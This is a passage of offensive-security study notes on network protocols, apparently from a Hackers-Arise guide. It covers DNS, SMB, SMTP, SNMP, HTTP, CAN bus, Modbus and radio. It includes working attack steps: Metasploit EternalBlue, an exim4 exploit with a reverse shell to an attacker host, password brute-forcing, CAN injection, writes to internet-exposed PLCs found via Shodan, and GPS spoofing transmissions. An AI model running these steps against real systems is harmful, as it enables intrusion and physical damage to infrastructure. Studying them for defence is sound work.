arp -ato view your ARP table. - Use
netdiscoverto find other hosts on your LAN. - Create a Wireshark filter to view only ARP packets.
DNS translates human-readable domain names β machine-readable IP addresses.
www.hackers-arise.com β 23.236.62.147
Without DNS you'd have to memorize IP addresses of every website. DNS makes the internet usable.
. (root)
β
ββββββ΄βββββ
.com .org ...
β
ββββββ΄βββββ
redhat hackers-arise
β
ββββ΄βββ
sales eng
- TLD = Top Level Domain (.com, .org, .edu)
- SLD = Second Level Domain (hackers-arise, redhat)
- Subdomain = left of SLD (sales.redhat, engineering.redhat)
- FQDN = Fully Qualified Domain Name = full path from root (www.hackers-arise.com.)
Before DNS, a single text file mapped names β IPs.
Still present on every system β and takes precedence over DNS queries.
# Linux
sudo mousepad /etc/hosts # Open hosts fileExample hosts file:
127.0.0.1 localhost
192.168.1.1 router.local
192.168.1.114 bankofamerica.com # DNS spoofing via hosts file!
π― Attack: Add a line to
/etc/hoststo redirect a domain to your malicious server. All local DNS queries for that domain will hit your IP instead.
Client asks: "What is download.beta.example.com?"
1. Client β Local DNS Server β "I don't know"
2. Local DNS β Root Server β "Try the .com TLD server at X.X.X.X"
3. Local DNS β .com TLD Server β "Try example.com authoritative server at Y.Y.Y.Y"
4. Local DNS β example.com Auth Server β "beta.example.com = Z.Z.Z.Z"
5. Local DNS β Client β "Z.Z.Z.Z"
6. Client caches result for future use
DNS is distributed and hierarchical β resistant to single-server failures.
| Component | Description |
|---|---|
| DNS Cache | Previously resolved names stored locally (faster, no traffic) |
| Resolvers | Any client that needs to look up DNS (your computer) |
| Name Servers | Databases containing nameβIP mappings |
| Name Space | The full database of IP addresses and names |
| Record | Purpose | Example |
|---|---|---|
| A | Domain β IPv4 address | hackers-arise.com β 23.236.62.147 |
| AAAA | Domain β IPv6 address | |
| CNAME | Alias β another domain | www β hackers-arise.com |
| MX | Mail server for domain | Must point to domain, not IP |
| NS | Authoritative name server | |
| PTR | IP β hostname (reverse DNS) | |
| SOA | Start of Authority β first record in zone file | |
| TXT | Arbitrary text (SPF, DMARC, verification) |
- Queries use UDP port 53 β fast, lightweight
- Zone transfers use TCP port 53 β reliable for full DB sync
# Look up DNS records
dig hackers-arise.com
dig hackers-arise.com MX # Mail records
dig hackers-arise.com NS # Name server records
nslookup hackers-arise.com # Alternative toolInject false DNS records into a resolver's cache β redirect traffic to attacker's server.
# Tool: dnsspoof (intercept local DNS queries on LAN)
dnsspoof -i eth0 -f spoofhostsIf misconfigured, an attacker can download the entire DNS zone (all records).
# Attempt zone transfer
dig axfr @<dns-server> <domain>DNS DoS = especially devastating because it makes the whole internet unusable (can't resolve anything).
Attackers used 3 techniques:
- Changed DNS A records via managed DNS provider credentials
- Changed DNS NS records via TLD provider credentials
- Deployed an "attacker operations box" β internal queries β malicious server, external β real server
DNS Security Extensions β adds digital signatures to DNS responses.
- Each DNS zone has a public/private key
- Resolvers use the public key to verify data authenticity
- Prevents zone transfer poisoning and data alteration
Without DNSSec: DNS is based on UDP (connectionless) β easily spoofed.
BIND = Berkeley Internet Domain System β most widely used DNS server on the internet.
# Install
sudo apt-get install bind9
# or from source:
git clone https://gitlab.isc.org/isc-projects/bind9.git
# Configuration files at /etc/bind/
# named.conf.options β global settings
# named.conf.local β zone definitions
# Edit options
sudo leafpad /etc/bind/named.conf.options
# Set: listen-on port 53; allow-query; forwarders; recursion yes;
# Create forward zone file
cp /etc/bind/db.local /etc/bind/forward.yourdomain.local
# Create reverse zone file
cp /etc/bind/db.127 /etc/bind/reverse.yourdomain.local
# Restart service
sudo service bind9 restart
sudo systemctl restart bind9- Open your hosts file with a text editor.
- Build a BIND DNS server for your local domain.
- Search the CVE database for recent DNS vulnerabilities.
SMB (Server Message Block) β Application layer (Layer 7) protocol for:
- File sharing
- Printer sharing
- Named pipe sharing
- Port sharing
Client-server, request-response protocol. Enables users/apps to share resources across a LAN.
SMB over TCP/IP uses port 445.
Originally developed by IBM (1980s), adopted and extended by Microsoft for Windows.
Client ββββ request βββββΊ SMB Server
Client ββββ response βββ SMB Server
(via TCP/IP or NetBIOS)
| Term | Description |
|---|---|
| SMB | The protocol (current: SMB 2.0, 3.0) |
| CIFS | Common Internet File System β old Microsoft dialect of SMB (obsolete) |
- SMB 2.0 β introduced with Windows Vista (2006)
- SMB 3.0 β introduced with Windows 8 and Server 2012
SMB has been the source of two of the most critical Windows vulnerabilities in history:
| Exploit | CVE | Impact |
|---|---|---|
| MS08-067 | CVE-2008-4250 | Remote code execution β Windows XP/Server 2003. Compromised millions. |
| EternalBlue | MS17-010 | NSA-developed exploit. Used by WannaCry and Petya ransomware. |
Both allow attackers to send crafted packets to SMB β execute remote code with SYSTEM privileges.
# Search Metasploit for SMB exploits
msf > search type:exploit smb
# Use EternalBlue
msf > use exploit/windows/smb/ms17_010_eternalblue
msf > set RHOSTS <target-IP>
msf > runSamba = Linux/Unix implementation of SMB. Lets Linux share files with Windows systems.
# Install
sudo apt-get install samba
# Start service (daemon name is "smbd")
sudo service smbd start
# Configure β edit /etc/samba/smb.conf
sudo leafpad /etc/samba/smb.confAdd to the end of smb.conf:
[HackersArise_share]
comment = Samba on Hackers-Arise
path = /home/OTW/HackersArise_share
read only = no
browsable = yes# Create the shared directory
sudo mkdir /home/OTW/HackersArise_share
# Give all users access
sudo chmod 777 /home/OTW/HackersArise_share
# Restart to apply changes
sudo service smbd restartAccess from Windows:
\\192.168.1.101\HackersArise_share
msf > search type:exploit smbNotable exploits in the list:
exploit/windows/smb/ms08_067_netapiβ MS08-067 (Windows XP/Server 2003)exploit/windows/smb/ms17_010_eternalblueβ EternalBlue (Windows 7/Server 2008)- Multiple Samba exploits for Linux
- Build a Samba server and share a directory on your LAN.
SMTP (Simple Mail Transfer Protocol) β transfers email between users.
First codified in 1983. Still the same core protocol today (with enhancements).
| Port | Protocol | Use |
|---|---|---|
| 25 | SMTP | Server-to-server (MTA β MTA) |
| 587 | SMTP | Client submission (MUA β MSA) |
| 110 | POP3 | Download email from server |
| 143 | IMAP | Access email on server |
[Sender: Ana] [Receiver: Lav]
β β
MUA (Outlook/Thunderbird) MUA (reads email)
β SMTP port 587 β
MSA/MTA (mail server) MDA (local delivery)
β SMTP port 25 β
ββββββββββββββββββββββββββββββββββββββββββββΊ MTA (target mail server)
(MTA uses DNS MX lookup to find target)
Key agents:
| Agent | Name | Role |
|---|---|---|
| MUA | Mail User Agent | Email client (Outlook, Thunderbird) |
| MSA | Mail Submission Agent | Accepts email from MUA |
| MTA | Mail Transfer Agent | Routes email between servers |
| MDA | Mail Delivery Agent | Delivers to local recipient mailbox |
Popular Linux MTAs: sendmail, EXIM, postfix
Windows: Microsoft Exchange Server
Packet 1-3: TCP 3-way handshake (client β SMTP server)
Packet 4: Server identifies itself + SMTP banner
Packet 5: Client sends EHLO (initiate SMTP session)
Packet 8: Client identifies sender (MAIL FROM)
Packet 10: Client identifies receiver (RCPT TO)
... DATA β message content β . (end)
# Install exim4
sudo apt install exim4
# Run configuration wizard
sudo dpkg-reconfigure exim4-configWizard questions:
- Mail server type β "internet site" (send/receive across internet)
- Domain name β your domain (e.g. hackers-arise.com)
- IP to listen on β your server IP
- Local recipient domains β leave as default
- Relay domains β leave blank
- Local mail delivery β mbox or home directory
- Minimize DNS lookups β YES
- Relay domains β leave blank
- Split config file β NO (unsplit = more stable)
# Start exim4
sudo service exim4 start# Scan SMTP port with service detection
nmap -sT -A 192.168.56.103 -p25
# Run all SMTP nmap scripts (user enumeration, vuln scan)
nmap --script=smtp-* 192.168.56.103 -p 25Output may show:
- Users enumerated (for social engineering)
- CVE vulnerabilities (e.g. CVE-2010-4344 for exim4)
# Launch Metasploit
msfconsole
# Search for exim exploits
msf5 > search type:exploits exim
# Use the exim4 string format exploit
msf5 > use exploit/unix/smtp/exim4_string_format
# Get exploit info
msf5 > info
# Set target
msf5 > set RHOSTS 192.168.56.103
# Set payload (reverse Perl shell)
msf5 > set PAYLOAD cmd/unix/reverse_perl
# Set callback port (443 = HTTPS port, often allowed through firewalls)
msf5 > set LPORT 443
msf5 > set LHOST <your-IP>
# Fire!
msf5 > exploitIf successful β you get a shell session. Verify with Linux commands:
id # Should show uid=0 (root)
whoami # root
pwd # /var/spool/exim4
uname -a # System infoNote: Linux shells from Metasploit have NO prompt β just an empty line. Type commands anyway.
| Year | Target | Impact |
|---|---|---|
| 2021 | Microsoft Exchange Server | Chinese hackers accessed large corps' email (FBI authorized to patch US systems) |
| 2020 | Exim mail servers | Two severe vulns allowing unauthorized email access |
- Build an SMTP server (Exim4) for your domain.
- Run
nmap --script=smtp-*against your new server and review the output.
SNMP manages and monitors network devices (routers, switches, printers, servers).
If an attacker gains access to SNMP, they can:
- Harvest vast information about every device on the network
- Disable or reconfigure routers and switches
- Unmask encrypted VPN communications (NSA ExtraBacon exploit)
Uses UDP ports 161 and 162.
SNMP Manager (admin computer)
β UDP 161/162
ββββββββββββΌβββββββββββ
βΌ βΌ βΌ
[Router] [Switch] [Server] β each runs an SNMP Agent
ββββββββββββ΄βββββββββββ
MIB
(Management Information Base)
Contains: users, software, OS, open ports, configs...
The MIB = hierarchical database holding everything about every managed device.
| Version | Security | Notes |
|---|---|---|
| SNMPv1 | Very poor | Cleartext. Default community strings: public (read) / private (write). Still widely used. |
| SNMPv2 | Slightly better | Not backward-compatible β not widely adopted |
| SNMPv3 | Strong | Encryption + integrity + auth. Not yet universal |
β οΈ Even if strings are changed, SNMPv1 is cleartext β sniff the wire to grab them.
| PDU | Purpose |
|---|---|
| GetRequest | Request info from agent |
| SetRequest | Set a value on agent |
| GetNextRequest | Walk through MIB |
| GetBulkRequest | Get large chunks |
| Response | Agent reply |
| Trap | Unsolicited agent alert |
| InformRequest | Manager to manager |
# Dump MIB info (default: public string, SNMPv1)
snmpcheck -t <target-IP>
# Custom community string
snmpcheck -t <target-IP> -c <community-string>Output includes:
- Hardware info
- OS + uptime (check if patched)
- Storage info
- User accounts (use for password attacks)
- Software installed (find exploitable versions)
# View built-in dictionary
cat /usr/share/doc/onesixtyone/dict.txt
# Crack community string
onesixtyone 192.168.1.102 -c /usr/share/doc/onesixtyone/dict.txtIf found, use the cracked strings with snmpcheck to pull the full MIB.
π‘ Tip: Add company-name variations to your wordlist β lazy admins often use company-related strings.
Snowden documents confirmed NSA exploited SNMP to unmask encrypted Cisco VPN traffic. Patched by Cisco, but the NSA likely has further SNMP-based exploits.
snmpcheck -t <IP> # Dump MIB
onesixtyone <IP> -c dict.txt # Crack community string
nmap -sU -p 161 <IP> # Check SNMP port
nmap -sU -p 161 --script=snmp-info <IP> # SNMP info via nmapHyperText Transfer Protocol β core communication protocol of the web.
Message-based: client sends request, server sends response. Connection-less but uses TCP.
GET /index.html HTTP/1.1 β Method + URL + Version
Host: www.example.com β Headers
User-Agent: Mozilla/5.0
Accept: text/html
β Blank line
β Optional body
First line elements:
- Method (GET, POST, etc.)
- URL
- HTTP version
| Method | Purpose |
|---|---|
| GET | Retrieve a resource |
| POST | Submit data / perform actions |
| HEAD | Like GET but no body returned |
| PUT | Upload a resource |
| OPTIONS | Ask server what methods are available |
| TRACE | Diagnostic β echoes request back |
| Code | Category | Common Examples |
|---|---|---|
| 1xx | Informational | 100 Continue |
| 2xx | Success | 200 OK, 201 Created |
| 3xx | Redirect | 301 Moved Permanently, 302 Found, 304 Not Modified |
| 4xx | Client Error | 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found |
| 5xx | Server Error | 500 Internal Server Error, 503 Service Unavailable |
| Header | Purpose |
|---|---|
Host |
Target hostname |
User-Agent |
Browser/client identifier |
Cookie |
Submits stored cookies |
Authorization |
Submits credentials |
Referer |
URL of referring page |
Accept |
Content types accepted |
| Header | Purpose |
|---|---|
Set-Cookie |
Issues cookie to client |
Server |
Web server software (e.g. Apache, nginx) |
Location |
Redirect target (3xx responses) |
WWW-Authenticate |
Auth type supported |
Content-Type |
MIME type of body |
X-Frame-Options |
Clickjacking protection |
- Server issues via
Set-Cookieresponse header - Client stores and sends back on future requests
- Used to maintain session state (e.g. logged-in status)
- Name/value pairs, no spaces
Set-Cookie: Tracking=wdr66gyU34pli89
Cookie: Tracking=wdr66gyU34pli89 β client sends back next request
π― Attack: Steal cookies β impersonate user (session hijacking). Use Wireshark or BurpSuite to intercept.
protocol://hostname[:port]/[/path/]file[?param=value]
https://www.hackers-arise.com:443/login?user=admin
β β β β β
protocol hostname port path parameter
Port is optional β only needed if different from default (http=80, https=443).
HTTP tunneled over SSL/TLS β encrypted β protects confidentiality and integrity.
Without HTTPS, traffic is cleartext β vulnerable to MitM interception.
| Type | Method |
|---|---|
| Basic | Base64-encoded credentials in header (NOT encrypted β easily decoded) |
| NTLM | Challenge-response mechanism |
| Digest | Challenge-response using MD5 + nonce |
A proxy sits between client browser and web server:
Browser β Proxy β Internet β Web Server
Browser β Proxy β Internet β Web Server
Used for: access control, caching, authentication, content filtering.
BurpSuite acts as an intercepting proxy for web app hacking.
- Launch BurpSuite (built into Kali):
burpsuite & - Create Temporary Project β Use Burp Defaults β Start Burp
- Enable Proxy β Intercept
- In Firefox: Preferences β Network β Manual proxy β
127.0.0.1:8080
Target: Crack the password for a known username
1. Browse to login page (e.g. DVWA)
2. Enter any username + password β BurpSuite intercepts request
3. Right-click β Send to Intruder
4. Positions tab β Clear β highlight password field β Add
5. Attack type: Sniper
6. Payloads tab β add password list (top10000passwords.txt)
7. Start Attack
8. Look for a response with different Status or Length β successful login!
Target: Crack both username AND password
1. Same setup, but highlight BOTH username and password fields
2. Attack type: Cluster Bomb
3. Payload Set 1: username wordlist
4. Payload Set 2: password wordlist + enable Character Substitution
(a=4, b=8, e=3 etc. β common "l33t speak" substitutions)
5. Start Attack β looks through all combinations
6. ~2 billion attempts β look for Status 200 or different Length
Character substitution munges passwords to handle common letter-number substitutions users make.
Reading results: All failed attempts = same Status code (302) + same Length. Successful login = different Status (200) or different Length.
HTTP ports: 80 (HTTP) 443 (HTTPS)
Proxy: 127.0.0.1:8080 (BurpSuite default)
DVWA: Deliberately Vulnerable Web App (practice target)
OWASP BWA: OWASP Broken Web Apps VM (practice target)
CAN (Controller Area Network) β the dominant protocol for in-vehicle communication between microcontrollers, sensors, gauges, actuators.
- Developed by Robert Bosch GmbH (Germany), released at SAE meeting 1986
- Standardized as ISO 11898-1 and ISO 11898-2
- Designed for robust communication without a host computer
- Operates like a broadcast network β every node sees every message
- Runs over two wires: CAN High and CAN Low (differential signaling)
- No security β no encryption, no authentication
| Type | Purpose |
|---|---|
| Data Frame | Only frame used for actual data transmission |
| Remote Frame | Destination node requests data from source |
| Error Frame | Signals an error on the bus |
| Overload Frame | Signals internal overload condition |
ββββββββββββββββ¬ββββββββββββ¬βββββββββββββββββββ¬ββββββββββββ
β Arbitration β Identifierβ Data Length Code β Data β
β ID β Extension β (DLC: 0-8B) β (up to 8B)β
ββββββββββββββββ΄ββββββββββββ΄βββββββββββββββββββ΄ββββββββββββ
- Arbitration ID β ID of the sending device
- No source address in packet β spoofing is trivial
- Extended CAN packets: same structure but chained for longer IDs (backward compatible)
- No encryption β MitM attacks possible
- No authentication β anyone can spoof messages
- Broadcast β every node sees every packet
- Some manufacturers added auth for mission-critical systems (brakes, software updates) but not all
Every modern car has an OBD-II port (under the dashboard) β 16 pins.
Mechanics connect computers here to read diagnostic data.
Hackers can too β connect here to send messages on the CAN bus.
Linux tools for communicating with CAN networks. Contributed by Volkswagen Research to the Linux kernel.
# Install
sudo apt install can-utils
# or
git clone https://github.com/linux-can/can-utils| Tool | Purpose |
|---|---|
candump |
Display, filter, log CAN traffic |
canplayer |
Replay CAN log files |
cansend |
Send a single CAN frame |
cangen |
Generate random CAN traffic |
cansniffer |
Display CAN data differences |
canlogserver |
Log CAN frames from remote/local host |
# Load vcan kernel module
sudo modprobe vcan
# Create virtual interface
sudo ip link add dev can0 type vcan
sudo ip link set up vcan0
# Verify
ifconfig vcan0CAN-Bus simulator by Craig Smith (author of The Car Hackers Handbook).
# Install dependencies
sudo apt-get install libsdl2-dev libsdl2-image-dev -y
# Download ICSim
git clone https://github.com/zombieCraig/ICSim
cd ICSim
# Set up virtual CAN
./setup_vcan.sh
# Start the instrument panel (speedometer, doors, signals)
./icsim vcan0
# Start the controller
./controls vcan0# Colorized live CAN traffic
cansniffer -c vcan0
# Filter for a specific Arbitration ID
cansniffer -c vcan0
# then type:
-000000 # (masks everything)
+161 # (show only ID 161)
# Capture and log to file
candump -c -l vcan0
# Capture + view + ASCII output simultaneously
candump -c -l -s 0 -a vcan0# Replay a captured log file
canplayer -I candump-XXXXXXXXXX.log# Format: cansend <interface> <ArbitrationID>#<data>
cansend vcan0 161#000005500108000dGoal: Find which CAN packet accelerates the vehicle to 100 mph.
# Step 1: Start sniffer
cansniffer -c vcan0
# Step 2: Press UP arrow in controller β accelerate to 100mph
# Watch for rapidly changing values (shown in red) β likely candidates
# Step 3: Filter for suspected ID
-000000
+244
# Step 4: Record the values at 100mph
# Step 5: Replay that packet
cansend vcan0 244#0000003812
# Step 6: If single packet isn't enough (normal CAN packets override it),
# flood with continuous packets
while true; do cansend vcan0 244#0000003812; done
# Car accelerates to 100mph β ghost in the machine!PKES (Passive Keyless Entry and Start) β proximity unlocking/starting. Introduced 1999.
SARA = Signal Amplification Relay Attack
Normal: Key fob (LF signal) βββββββββββββββΊ Car (nearby, ~10cm)
Attack: Key fob βββΊ Emitter ββ(amplified RF)βββΊ Receiver βββΊ Car
(fob is inside house) (near car)
- Signal is relayed (amplified) across distance β car thinks fob is nearby β unlocks
- No need to decrypt β just relay the encrypted signal (like pass-the-hash)
- Works on most cars before 2014, Honda cars up to 2021
Required hardware: 2 RF transceivers (emitter + receiver) operating at ~2.5GHz
- Download can-utils.
- Download ICSim.
- Create a virtual CAN network (
vcan0). - Replicate the CAN replay attack from this chapter.
SCADA = Supervisory Control and Data Acquisition
ICS = Industrial Control Systems
Controls physical infrastructure: petroleum refineries, manufacturing, water/sewage plants, electric grid, pipelines.
Key difference from IT systems: many proprietary protocols, not just TCP/IP.
- Siemens
- Honeywell
- Toshiba
- Rockwell Automation / Allen-Bradley
- Mitsubishi
- GE
- Schneider Electric
Each uses varied (sometimes proprietary) protocols β security through obscurity has historically protected them. That era is ending.
| Protocol | Notes |
|---|---|
| Modbus | Most widely used. Original from 1979. |
| DNP3 | Utility/energy sector |
| ICCP | Inter-control center comms |
| CIP / EtherNet/IP | Rockwell/Allen-Bradley |
| CompoNet / ControlNet / DeviceNet | Industrial networks |
| OPC | OLE for Process Control |
| PROFIBUS | Process Field Bus |
| Foundation Fieldbus H1 | Process automation |
- Developed 1979 by Modicon (now Schneider Electric)
- Operates at OSI Layer 7
- Lightweight, simple, request/reply model
- Data limit: 253 bytes
- Up to 32 devices on a serial link, each with unique ID
- Master/Slave architecture β only master initiates queries
Master β query (slave ID, function code, data, checksum) β Slave
Master β response β Slave
- Modbus protocol encapsulated in TCP/IP
- Same function codes + request/reply
- Port 502
- Adds 7-byte MBAP header (2 header + 2 protocol ID + 2 length + 1 unit ID)
- Removes CRC checksum (TCP handles integrity)
| Code | Function |
|---|---|
| 01 | Read Coil Status |
| 02 | Read Input Status |
| 03 | Read Holding Registers |
| 04 | Read Input Registers |
| 05 | Force Single Coil |
| 06 | Preset Single Register |
| 08 | Diagnostics |
| 15 | Force Multiple Coils |
| 16 | Preset Multiple Registers |
Function Code 8 β Diagnostics:
Sub-function 04 = Force Listen Only Mode β can create a DoS on Modbus devices.
| Issue | Impact |
|---|---|
| No authentication | Anyone with a valid packet can control devices |
| No encryption | All traffic in cleartext β sniffable |
| No checksum (TCP) | Attacker can spoof packets |
| No broadcast suppression | Flood of messages = DoS |
Search on shodan.io: TM221
Returns IP addresses of Schneider Electric TM221 PLCs exposed to the internet.
Many are vulnerable and unpatched.
# Install
gem install modbus-cli
# Help
modbus --help| Schneider Notation | Modicon Notation | Type |
|---|---|---|
%MW100 |
400101 |
Holding Register |
%M0 |
101 |
Coil (Boolean ON/OFF) |
# Read 10 holding registers starting at %MW100
modbus read <IP> %MW100 10
# Read 10 coils (Boolean values) starting at 101
modbus read <IP> 101 10
# Save 100 values to file
modbus read --output scadaoutput.txt <IP> %MW100 100# Turn on 10 coils (set all to 1)
modbus write <IP> %MW100 1 1 1 1 1 1 1 1 1 1
# Verify
modbus read <IP> %MW100 10π― Impact: Writing to coils/registers can physically control industrial equipment β valves, motors, breakers, actuators.
OTW notes this tool was used during the Ukraine/Russia war to disrupt Russian industrial systems.
SCADA/ICS hacking in cyber warfare can:
- Disable power grids
- Disrupt water treatment
- Sabotage manufacturing
- Create physical destruction (cf. Stuxnet against Iranian centrifuges)
gem install modbus-cli # Install
modbus read <IP> %MW100 10 # Read 10 registers
modbus read <IP> 101 10 # Read 10 coils
modbus write <IP> %MW100 1 1 1 1 1 1 1 1 1 1 # Write to registers
modbus read --output out.txt <IP> %MW100 100 # Save to fileRF signals are everywhere and largely unsecured:
- Car key fobs, garage doors, wireless switches
- Aircraft communication (ATC)
- Aircraft position (ADS-B)
- Pager messages (often unencrypted)
- Cellular (2G/3G/4G)
- Police and military comms
- Satellite signals
- SCADA remote terminal units
- GPS signals
Many have little or no security. Those that do are often vulnerable to replay attacks (no timestamps/randomization).
| Term | Definition |
|---|---|
| Amplitude | Strength of the radio signal |
| Frequency (Hz) | Cycles per second of radio waves |
| Sample Rate | Rate at which analog data is captured digitally (Hz) |
| Filter | Removes noise and interference from signals |
| DSP | Digital Signal Processing β analyze/modify signals via software |
| Method | Description |
|---|---|
| Sniffing | Passively capture and study RF traffic |
| Replay | Record and retransmit a signal (no timestamps β works on many systems) |
| Signal Deception | Spoof a valid signal (need to know packet structure + keys) |
| Signal Hijacking | Pull target onto fake network (femtocell, Stingray) |
| DoS | Jam or flood signals to block communication |
| Hardware | Price | Tx/Rx | Frequency | Best For |
|---|---|---|---|---|
| RTL-SDR | ~$35 | Rx only | 500kHzβ1.75GHz | Beginners, listening only |
| HackRF One | ~$300 | Half-duplex | 1MHzβ6GHz | Replay attacks, beginner Tx |
| BladeRF | ~$400 | Full-duplex | to 3.8GHz | High-performance |
| LimeSDR | ~$300 | Full-duplex | varies | Apps-enabled, broadest support |
| USRP | $500+ | Full-duplex | varies | Research & development |
Recommendation:
Starting out β RTL-SDR (~$35, receive-only)
Need to transmit (replay attacks) β HackRF One
High-performance / full-duplex β BladeRF or LimeSDR
1. Download Zadig from http://zadig.akeo.ie/
2. Install WinUSB driver for RTL device ("Bulk-In, Interface 0")
3. Download HDSDR from http://hdsdr.de/download/HDSDR_install.exe
4. Download ExtIO_RTL2832.DLL β copy to HDSDR install dir
5. Launch HDSDR β select ExtIO_RTL2832.DLL
Set via Bandwidth button. For FM radio, β₯48 kHz is sufficient (human ear can't distinguish higher).
- Click FM mode icon
- Set Frequency to your local FM station (e.g. 101.5 MHz)
- Adjust volume slider
Aircraft voice comms use AM radio (not FM β AM travels farther):
| Band | Frequency | Use |
|---|---|---|
| HF | 3β30 MHz | Long-range, intercontinental (bounces off ionosphere) |
| VHF | 118β137 MHz | Line-of-sight, high quality (local airport) |
1. Open HDSDR
2. Set Mode to "AM", Frequency Manager to "Air"
3. Set sampling rate β₯ 40 kHz (2x max human voice frequency)
4. Google your local airport β find ATC frequencies
(e.g. Tower: 118.9, Ground: 121.7)
5. Navigate to that frequency β red spike = activity β listen!
Every aircraft broadcasts an ADS-B signal every second containing:
- GPS location
- Altitude
- Ground speed
- Aircraft ID
# Install dump1090
sudo git clone https://github.com/antirez/dump1090
# Or use DragonOS (Linux distro designed for SDR)
# https://sourceforge.net/projects/dragonos-focal/
# Navigate to directory
cd dump1090
# Run (raw output)
./dump1090
# Raw data
./dump1090 --raw
# Interactive table (updates per second)
./dump1090 --interactive
# Map overlay in browser (like FlightRadar24 for your area)
./dump1090 --interactive --net
# then open: http://localhost:8080You can spoof your GPS position using HackRF One (must be able to transmit).
# Step 1: Create directory and download GPS spoof software
mkdir GPS_SPOOF && cd GPS_SPOOF
sudo git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
# Step 2: Compile (with motion support so spoof appears moving, not static)
sudo gcc gpssim.c -lm -O3 -o gps-sdr-sim -DUSER_MOTION_SIZE=4000
# Step 3: Download today's GPS satellite ephemeris file (requires free registration)
# https://cddis.nasa.gov/archive/gnss/data/daily/YEAR/brdc/
# Step 4: Find GPS coordinates of target location (Google Maps)
# Example: The Kremlin, Moscow = 55.75911, 37.61640
# Step 5: Generate spoofed GPS signal file
sudo ./gps-sdr-sim -b 8 -e brdc0010.22n -l 55.75911,37.61640,100
# Step 6: Transmit with HackRF (GPS frequency = 1575.42 MHz)
sudo hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0
# Result: Anyone tracking your GPS signal sees you in the Kremlin!| Target | Attack | Tool |
|---|---|---|
| Car key fob | SARA relay attack | RF transceivers |
| Garage door | Replay attack | HackRF + GNU Radio |
| Aircraft ATC | Passive interception | RTL-SDR + HDSDR |
| Aircraft position | ADS-B monitoring | RTL-SDR + dump1090 |
| GPS tracking | GPS spoofing | HackRF + gps-sdr-sim |
| Pager messages | Sniff unencrypted data | RTL-SDR + multimon-ng |
| SCADA RTUs | Intercept radio control | SDR + protocol analysis |
- Install the HDSDR software.
- Listen to your local airport ATC communications.
- Use RTL-SDR + dump1090 to capture aircraft location and speed data in your area.
"Hacking is the new martial art of the 21st century. To become a master hacker, you must think strategically and analytically." β OTW
| # | Wisdom |
|---|---|
| 1 | Fools talk. The wise listen. |
| 2 | Hacking is a process, not a technology or collection of tools. |
| 3 | Hacking is the ultimate martial art. |
| 4 | If a service is free, you are not the customer; you are the product. |
| 5 | Only the fool goes to battle without adequate reconnaissance of their enemy. |
| 6 | "Listen" closely and intently to your enemy; they will tell you everything you need to know to defeat them. |
| 7 | If you believe in nothing, you can be led to believe anything. |
| 8 | Every adversary β no matter how strong and powerful β always has a weakness. Find the weakness and exploit it. |
| 9 | A great offense might win the battle, but an impregnable defense wins the war. |
| 10 | Turn the power and strength of your opponent against them. |
| 11 | The battle often goes NOT to the strongest but to the most persistent. |
| 12 | There is ALWAYS opportunity in chaos. |
| 13 | Avoid your adversary's strengths and attack their weaknesses. |
| 14 | Never become predictable. |
| 15 | When faced with an adversary of overwhelming power and strength, do not face them head-on. Strike only when you have the element of surprise. |
| 16 | Understanding human psychology, motivation, and behavior is one of the hacker's most important tools. |
| 17 | A series of persistent, small wins will defeat your opponent. |
| 18 | Create confusion and dissension within the ranks of your opponent. |
| 19 | At times, it can be advantageous to retreat to lure your opponent into a vulnerable and indefensible position. |
| 20 | People on social media are much less than they appear. |
| 21 | In cyber war, industrial facilities can be both a target and a weapon. |
| 22 | To remain safe and anonymous on the Internet, you must have a thorough and deep understanding of digital forensics. |
| 23 | Humility makes you stronger; hubris makes you vulnerable. |
On Reconnaissance: Rules 5, 6 β never attack blind. Recon first, always.
On Persistence: Rules 11, 17 β skill matters less than determination and consistency.
On Deception: Rules 14, 15, 18, 19 β unpredictability and misdirection are weapons.
On Psychology: Rules 7, 16, 20 β humans are the weakest link. Understand them.
On Defense: Rules 9, 22 β offense is flashy, but defense wins long-term.
On Ego: Rules 4, 23 β stay humble, stay skeptical.